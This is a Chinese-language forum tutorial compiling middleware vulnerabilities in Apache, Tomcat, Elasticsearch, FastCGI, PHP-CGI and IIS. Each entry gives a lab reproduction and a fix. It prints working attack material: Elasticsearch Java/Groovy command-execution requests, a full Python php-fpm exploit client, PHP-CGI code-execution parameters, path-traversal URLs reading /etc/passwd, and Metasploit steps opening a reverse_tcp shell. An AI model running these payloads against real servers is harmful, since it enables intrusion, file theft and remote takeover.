投稿文章:中间件漏洞合集

2018-12-14 12:10:47 6 3332 1

Apache

Apache HTTPD 换行解析漏洞

漏洞编号CVE-2017-15715

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

原理:在解析PHP时,1.php\x0A将被按照PHP后缀进行解析。

环境搭建

利用vulhub搭建

进入vulhub相应的文件夹

docker-compose build
docker-compose up -d

利用方法 比如目标存在一个上传的逻辑

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}

可见,这里用到了黑名单,如果发现后缀在黑名单中,则进行拦截。

将上述代码放置在容器内的/var/www/html目录下,设置好写权限,即可进行测试。

上传正常的PHP文件,被拦截

POST / HTTP/1.1
Host: 10.10.10.131:8080
Connection: keep-alive
Content-Length: 357
Cache-Control: max-age=0
Origin: [url]http://10.10.10.131:8080[/url]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6TAB8KxvuJTZYfUn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://localhost:8080/day1701/form2.jsp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=725FA8D1C3EBECCFE80A28CF8A761E20


------WebKitFormBoundary6TAB8KxvuJTZYfUn
Content-Disposition: form-data; name="name"

1.php
------WebKitFormBoundary6TAB8KxvuJTZYfUn
Content-Disposition: form-data; name="file"; filename="1.gif"

<?php phpinfo();?>
------WebKitFormBoundary6TAB8KxvuJTZYfUn--

可以上传1.php.xxx,但是不解析,说明老的Apache解析漏洞不存在。

来到服务器看一下

老的解析漏洞不存在

我们利用CVE-2017-15715,上传一个包含换行符的文件。注意,只能是\x0A,不能是\x0D\x0A,所以我们用hex功能在1.php后面添加一个\x0A:

上传成功

接下来我们访问 [url]http://10.10.10.131:8080/1.php%0A[/url] ,成功解析

修复方法

更新版本,打补丁。

备注

获取文件名时不能用$_FILES['file']['name'],因为他会自动把换行去掉,这一点有点鸡肋 默认的Apache配置即可利用,因为默认Apache配置就使用了<FileMatch>:

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

参考p牛博客,博客地址 [url]https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html[/url]

Apache文件解析漏洞

这是由于在配置服务器期间,配置人员为了调试方便,当时做的一些有安全隐患的配置在调试后没有及时更改,造成了文件解析漏洞。

原理

Apache配置错误,php_module解析文件时不使用正则匹配,遇到.php的文件就解析。

环境搭建

方法一:

拉取镜像命令:

docker pull registry.cn-hangzhou.aliyuncs.com/360college/360college:apachephp

docker pull registry.cn-hangzhou.aliyuncs.com/360college/360college:nginxphp

方法二:

docker pull ubuntu

docker run -it -p 90:80 -d ubuntu /bin/bash(关联端口)

docker exec -it 263ff846f0dd /bin/bash (进入容器)

apache2+php7环境搭建语句

apt-get install apache2(安装apache2)
apt-get insrall php7.2(安装php7)
apt-get install libapache2-mod-php7.2(将php与apache关联)
/etc/init.d/apahce2 start或service apache2 start(启动apache2服务)
service apache2 status(查看apache服务状态)

开启容器

启动apache服务,由于设置了php与apache关联,所以php服务也一并开启了。

测试环境是否搭建成功,本机浏览器输入虚拟机地址及端口,测试apache是否开启,在容器web目录下写入phpinfo文件,并从本机访问,测试php是否服务是否开启。

利用方法

分析apache文件解析漏洞,在web目录下写入1.php.aaa文件,内容为phpinfo();,查看服务器是否能解析该文件。

无法解析

原因 缺少配置文件,使php_module解析文件时不使用正则匹配,遇到.php的文件就解析。在/etc/apache2/sites-enabled目录下编写123.conf文件,内容为AddHandler application/x-httpd-php .php,配置好后重启apache服务。

再次通过浏览器访问1.php.aaa,发现解析成功。

修复方法

修复方法删除123.conf,并重启apache服务。

无法解析

本质上就是修改了Apache的配置文件,让Apache解析文件时使用正则匹配,不至于遇到.php的文件就进行解析。

Tomcat

CVE-2017-12615

在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。Tomcat 7.x版本内web.xml配置文件内无readonly,需要手工添加,默认配置不受此影响。

影响版本

CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80 CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79 (Windows环境下)

漏洞成因

在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。

阅读conf/web.xml文件,查看配置

默认readonly为true,当readonly设置为false的时候,可以通过PUT/DELETE来对文件进行操控。

环境搭建 在Windows10上搭建Tomcat

下载tomcat压缩包,并将解压到合适的位置

配置环境变量

配置jdk的环境变量(略)

在系统变量里新建变量名:CATALINA_BASE,变量值(如):E:\Software\Apache Software Foundation\apache-tomcat-7.0.79

在系统变量里新建变量名:CATALINA_HOME,变量值(如):E:\Software\Apache Software Foundation\apache-tomcat-7.0.79

在系统变量里打开PATH,添加变量值:%CATALINA_HOME%\lib;%CATALINA_HOME%\bin

打开cmd,进入tomcat下的bin目录E:\Software\Apache Software Foundation\apache-tomcat-7.0.79\bin,执行“service.bat install”

附:service卸载命令:service.bat remove

启动tomcat

方法一:tomcat路径下的bin文件夹内双击打开tomcat9w.exe,在打开的软管理软件内点击“start”

方法二:右键点击桌面上的“我的电脑”->“管理”->“服务和应用程序”->“服务”,找到“ApacheTomcat 7.0 Tomcat7”服务,右键点击该服务,选择“启动”。

访问10.10.10.132:8080 搭建成功

更改tomcat的配置文件web.xml,添加readonly为false

Linux上搭建实验环境

进入vulhub-master/tomcat/CVE-2017-12615文件夹

docker-compose build
docker-compose up -d

完成后访问your_ip:8080,搭建成功。

利用方法

Windows环境

抓取数据包,上传文件

上传失败,提示404.

通过描述中的Windows受影响,可以结合Windows的特性。其一是NTFS文件流,其二是文件名的相关限制,(如Windows中文件名不能以空格结尾)来绕过限制,因为Windows不允许“ ”作为结尾,所以会创建一个.jsp文件,导致代码执行。

1.jsp%20

访问[url]http://10.10.10.132:8080/1.jsp[/url],代码被执行。

当PUT的地址为/4.jsp/的时候,也可以上传成功

evil.jsp::$DATA也可以上传成功

Linux环境

Linux环境下只有evil.jsp/可以上传成功,evil.jsp%20和evil.jsp::$DATA上传的文件会分别生成evil.jsp\和evil.jsp::$DATA文件,这样来说的话,Linux下可以允许“ ”空格作为文件尾结束。

evil.jsp/ 上传成功并可以解析

修复方法

方法一:

升级版本

方法二:

将readonly设置为true或者删除readonly配置

尝试再次上传,返回403,无法上传

Elasticsearch

​ ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。

环境配置

启动docker

docker-compose up -d

CVE-2014-3120

访问目标的9200,会出现Elasticsearch的信息:

利用该漏洞要求Elasticsearch中有数据,所以先创建一条数据,采用Burp发送数据包:

POST /website/blog/  HTTP/1.1
Host: 101.198.180.194:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27

{
      "name": "colleget"
}

返回201状态码,代表创建成功:

利用该漏洞的Payload如下:

POST /_search?pretty HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 368

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}
    }
}
其中JAVA等价于:

String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\\A").next();
//A means "start of string", and \z means "end of string".
String s2  = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
System.out.println(s1);     

CVE-2015-1427

访问目标的9200,会出现Elasticsearch的信息:

新版本中Elasticsearch将默认的脚步语言换成了Groovy,增加了沙盒机制过滤用户输入,但还是具有执行漏洞的方法:

绕过沙盒

Groovy代码执行

payload在操作机桌面上Files\Elasticsearch文件夹中

利用JAVA反射机制绕过沙盒

首先向9200端口插入一条数据:

POST /website/blog/ HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

利用反射机制执行JAVA代码Payload: POST /_search?pretty HTTP/1.1 Host: 10.10.10.131:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/text Content-Length: 489 { "size":1, "script_fields": { "test#": { "script": "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()", "lang": "groovy" } } }

执行结果

利用Groovy语言执行命令

Payload:

POST /_search?pretty HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

执行结果:

CVE-2015-3337

目录穿越漏洞:ElasticSearch安装site插件后,通过../可以向上层目录跳转,导致任意文件读取。

访问目的地址:IP:9200/_plugin/head/

使用Burp向目的地址 IP:9200/_plugin/head/../../../../../../../../../etc/passwd 发送Get请求:

CVE-2015-5531

1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

访问IP:9200

新建一个仓库:

PUT /_snapshot/test HTTP/1.1
Host: 10.10.10.131:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 110

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

创建一个快照:

PUT /_snapshot/tes2t HTTP/1.1
Host: 10.10.10.131:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 128

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

访问地址:IP:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

观察返回结果为ASCII编码:

可以用工具进行转换,或者直接使用Chrome-右键-检查-Console:

输入String.fromCharCode(ASCII码),执行结果如下:

Fastcgi未授权访问及任意命令执行

Fastcgi

Fastcgi是一个通信协议,只不过它是存在于服务器中间件和某个语言的后端之间进行数据交换的协议。Fastcgi协议是由多个recode组成,recode也有header和body,服务器中间件将接收到的数据按照Fastcgi协议以header、body的形式封装后发到语言后端,语言后端拿到数据,进行指定的操作,并且将结果按照该协议封装好发送给服务器中间件。

原理

由于服务器使用了Fastcgi协议并且将9000端口对外网开放了,那么就可以利用该协议未授权访问了。

环境搭建

利用vulhub搭建

payload

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: [url]https://github.com/wuyunfeng/Python-FastCGI-Client[/url]

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes(<i>)

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

利用方法

使用命令访问一个非.php的文件

python fpm.py 10.10.10.131 /etc/passwd

无法访问,访问被拒绝

使用命令执行一个默认存在的php文件

python fpm.py 10.10.10.131 /usr/local/lib/php/PEAR.php

访问成功,由此可见,只能对.php文件进行非授权访问。

还可以任意命令执行

python fpm.py 10.10.10.131 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>' 

修复方法

​ 禁止9000端口对外开放

PHPCGI

PHPCGI远程代码执行

CGI和FastCGI的区别

CGI:用户每发送一个请求,CGI都会创建一个子进程执行请求,将执行结果返回给用户,然后结束子进程。不能同时接受大量请求;

FastCGI:将进程一直在后台运行,接收数据包,执行后返回结果,自身不退出。

漏洞成因

if(!cgi) getopt(...) 被删掉了。

if(!cgi) getopt(...) 限制Web请求中不允许传入参数。

CVE代号

CVE-2012-1823

CVE-2012-2311

当CVE-2012-1823爆出来后官方进行了修补,但是新的版本5.4.2和5.3.12,但是修复不完全,可以使用空白符加-的方式进行绕过,衍生出CVE-2012-2311

环境搭建

访问 [url]http://10.10.10.131:8080/[/url]

利用方法

最简单方式 -s 显示页面源码

利用-d指定auto_prepend_file来制造任意文件包含漏洞

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo shell_exec("ls");?>

开启文件包含并且可以POST传参

抓包

修改为POST传参方式,修改请求头请求体,代码执行成功

修复方法

先跳过所有的空白字符,再判断第一个字符是不是 -

备注

-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h和-? 显示帮助

IIS

IIS6.0文件解析漏洞

漏洞介绍

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。

两种不同的利用方式:

/test.asp/test.jpg

test.asp;.jpg

漏洞影响版本

IIS 6.0

原理

当WEB目录下,文件名以 xxx.asp;xxx.xxx 来进行命名的时候,此文件将送交asp.dll解析(也就是执行脚本)

当WEB目录下,在访问以 xxx.asp 命名的目录下的任意文件时,此文件将送交asp.dll解析(也就是执行脚本)

IIS6.0核心处理代码

//reverse code by golds7n with ida
int __thiscall Url(void *this, char *UrlStruct)
{
  void *pW3_URL_INFO; // esi@1
  int bSuccess; // eax@1
  const wchar_t *i; // eax@2
  wchar_t *wcsSlashTemp; // ebx@6
  int wcsTemp; // eax@6
  int wcs_Exten; // eax@6
  int v8; // esi@9
  int v10; // eax@11
  int v11; // ST04_4@13
  int v12; // eax@13
  int ExtenDll; // eax@19
  int Extenisa; // eax@20
  int ExtenExe; // eax@21
  int ExtenCgi; // eax@22
  int ExtenCom; // eax@23
  int ExtenMap; // eax@24
  int Entry; // [sp+Ch] [bp-148h]@6
  wchar_t *wcsMaohaoTemp; // [sp+10h] [bp-144h]@6
  unsigned int dotCount; // [sp+14h] [bp-140h]@1
  wchar_t *Str; // [sp+18h] [bp-13Ch]@3
  char *url_FileName; // [sp+1Ch] [bp-138h]@1
  char Url_FileExtenName; // [sp+20h] [bp-134h]@1
  char v25; // [sp+50h] [bp-104h]@1

 dotCount = 0;
  pW3_URL_INFO = this;
  STRU::STRU(&Url_FileExtenName, &v25, 0x100u);
  url_FileName = (char *)pW3_URL_INFO + 228;
  bSuccess = STRU::Copy((char *)pW3_URL_INFO + 228, UrlStruct);
  if ( bSuccess < 0 )
    goto SubEnd;
  for ( i = (const wchar_t *)STRU::QueryStr((char *)pW3_URL_INFO + 228); ; i = Str + 1 )
  {
    Str = _wcschr(i, '.');   ***********N1************
    if ( !Str )
      break;
    ++dotCount;
    if ( dotCount > W3_URL_INFO::sm_cMaxDots )
      break;
    bSuccess = STRU::Copy(&Url_FileExtenName, Str);
    if ( bSuccess < 0 )
      goto SubEnd;
    wcsSlashTemp = _wcschr(Str, '/'); ***********N2************
    JUMPOUT(wcsSlashTemp, 0, loc_5A63FD37);
    wcsTemp = STRU::QueryStr(&Url_FileExtenName);
    wcsMaohaoTemp = _wcschr((const wchar_t *)wcsTemp, ':');  ***********N3************
    JUMPOUT(wcsMaohaoTemp, 0, loc_5A63FD51);
    wcs_Exten = STRU::QueryStr(&Url_FileExtenName);
    __wcslwr((wchar_t *)wcs_Exten);
    if ( META_SCRIPT_MAP::FindEntry(&Url_FileExtenName, &Entry) )
    {
      *((_DWORD *)pW3_URL_INFO + 201) = Entry;
      JUMPOUT(wcsSlashTemp, 0, loc_5A63FDAD);
      STRU::Reset((char *)pW3_URL_INFO + 404);
      break;
    }
    if ( STRU::QueryCCH(&Url_FileExtenName) == 4 )
    {
      ExtenDll = STRU::QueryStr(&Url_FileExtenName);
      if ( !_wcscmp(L".dll", (const wchar_t *)ExtenDll)
        || (Extenisa = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".isa", (const wchar_t *)Extenisa)) )
        JUMPOUT(loc_5A63FD89);
      ExtenExe = STRU::QueryStr(&Url_FileExtenName);
      if ( !_wcscmp(L".exe", (const wchar_t *)ExtenExe)
        || (ExtenCgi = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".cgi", (const wchar_t *)ExtenCgi))
        || (ExtenCom = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".com", (const wchar_t *)ExtenCom)) )
        JUMPOUT(loc_5A63FD89);
      ExtenMap = STRU::QueryStr(&Url_FileExtenName);
      JUMPOUT(_wcscmp(L".map", (const wchar_t *)ExtenMap), 0, loc_5A63FD7B);
    }
  }
  if ( *((_DWORD *)pW3_URL_INFO + 201)
    || (v10 = *((_DWORD *)pW3_URL_INFO + 202), v10 == 3)
    || v10 == 2
    || (v11 = *(_DWORD *)(*((_DWORD *)pW3_URL_INFO + 204) + 0xC4C),
        v12 = STRU::QueryStr(url_FileName),
        bSuccess = SelectMimeMappingForFileExt(v12, v11, (char *)pW3_URL_INFO + 756, (char *)pW3_URL_INFO + 1012),
        bSuccess >= 0) )
    v8 = 0;
  else
SubEnd:
    v8 = bSuccess;
  STRU::_STRU(&Url_FileExtenName);
  return v8;
}

上述代码中,作星号标记的是N1,N2,N3,分别检测点号,反斜杠和分号。

大概流程为:

请求 /aaa.asp;xxxx.jpg

N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg

N2:查找";"号,如果有则内存截断

N3:查找"/",如果有则内存截断

最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理

利用方法

新建一个名为“test.asp”的目录,该目录中的任何文件都被IIS当做asp程序执行(特殊符号是“/”);

访问[img]http://10.10.10.136/test.asp/1.jpg[/img] 1.jpg文件被当做.asp文件解析。

上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是“.jpg”,但由于含有特殊符号“;”,仍会被IIS当做asp程序执行。

假设我们上传的文件为test.asp;.jpg,访问[url]http://10.10.10.136/test.asp[/url];.jpg,文件被解析。

修复方法 ​ 升级版本!

IIS命令执行漏洞

编号 CVE-2017-7269

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

环境及版本

Windows server 2003 r2

IIS 6.0

原理

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

危害

Getshell,数据

利用方法

启动win server2003环境,开启IIS服务及WebDAV服务

下载exp [url]https://github.com/edwardz246003/IIS_exploit[/url],使用python执行exploit.py。

下载exp [url]https://github.com/zcgonvh/cve-2017-7269[/url],把exp复制到kali的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下,测试kali与iis环境联通性。

启动metasploit :msfconsole

查找漏洞编号:search 7269

进入漏洞模块:use exploit/windows/iis/cve-2017-7269

使用命令show options查看需要填写哪些参数

设置靶机IP:set rhost 10.10.10.136

设置靶机web站点:set httphost 10.10.10.136

设置返回载荷:set payload windows/meterpreter/reverse_tcp,返回监听端口默认为4444,未与其他端口冲突,所以不用设置。

设置攻击IP:set lhost 10.10.10.128

开始利用漏洞:exploit/run

返回信息无报错,输入shell发现获得了靶机的shell。登录靶机查看到进程中多了calc.exe的进程,并且用户名为NETWORK SERVICE。

修复方法 ​ 升级IIS。

IIS短文件名

短文件名

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。

文件名字符长度超过九位;

只有前六位字符显示,后续字符用~1代替,若有多个文件前六位相同的同类型文件,则~1递增;

后缀名最多有三位,多余的被截断。

在Windows下查看对应的短文件名,可以使用命令 dir /x

原理

由于短文件名的长度固定(xxxxxx~xxxx),因此黑客可直接对短文件名进行暴力破解 ,从而访问对应的文件。

我们可以在启用.net的IIS下暴力列举短文件名,原因是:

访问存在的短文件名,返回404

访问不存在的短文件名,返回400

危害

猜解后台地址

猜解敏感文件,例如备份的 rar、zip、.bak、.SQL文件等

在某些情形下,甚至可以通过短文件名web直接下载对应的文件。比如下载备份SQL文件

局限性

只能猜解前六位,以及扩展名的前3位;

名称较短的文件是没有相应的短文件名的;

需要IIS和.net两个条件都满足。

版本

利用方法

dir /x

在外部访问,文件存在则显示404,不存在则显示400

